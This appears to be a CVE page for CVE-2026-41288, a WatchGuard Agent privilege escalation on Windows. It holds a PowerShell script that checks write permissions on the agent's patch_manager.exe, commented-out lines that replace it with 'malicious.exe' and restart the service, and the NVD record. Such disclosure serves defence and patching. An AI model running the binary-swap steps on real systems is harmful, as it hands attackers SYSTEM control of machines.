CVE-2026-41288

# PoC for CVE-2026-41288: WatchGuard Agent Local Privilege Escalation # This script demonstrates checking for weak permissions on a service binary. $TargetFile = "C:\Program Files\WatchGuard\WatchGuard Agent\patch_manager.exe" $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name Write-Host "[*] Checking permissions for: $TargetFile" try { $Acl = Get-Acl $TargetFile $AccessRules = $Acl.AccessToString # Check if 'Everyone' or current user has Write access if ($AccessRules -match "Write" -and ($AccessRules -match "Everyone" -or $AccessRules -match $CurrentUser)) { Write-Host "[+] Vulnerable! Write permissions detected." Write-Host "[*] An attacker could replace the binary to gain SYSTEM privileges." # Simulated exploitation (commented out) # Copy-Item "malicious.exe" -Destination $TargetFile -Force # Restart-Service -Name "WatchGuardPatchSvc" } else { Write-Host "[-] No obvious write permissions found for the current user." } } catch { Write-Host "[-] Error accessing file: $_" }

{"cve": {"id": "CVE-2026-41288", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2026-05-06T16:16:10.147", "lastModified": "2026-05-11T18:35:41.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect permission assignment for a resource in the patch management component of the WatchGuard Agent on Windows allows an authenticated local user to elevate their privileges to NT AUTHORITY\\\\SYSTEM."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:*", "versionEndExcluding": "1.25.03.0000", "matchCriteriaId": "1D391721-7499-4701-A84D-C58CD093CCB0"}]}]}], "references": [{"url": "https://www.watchguard.com/wgrd-psirt/advisory/WGSA-2026-00011", "source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "tags": ["Not Applicable"]}]}}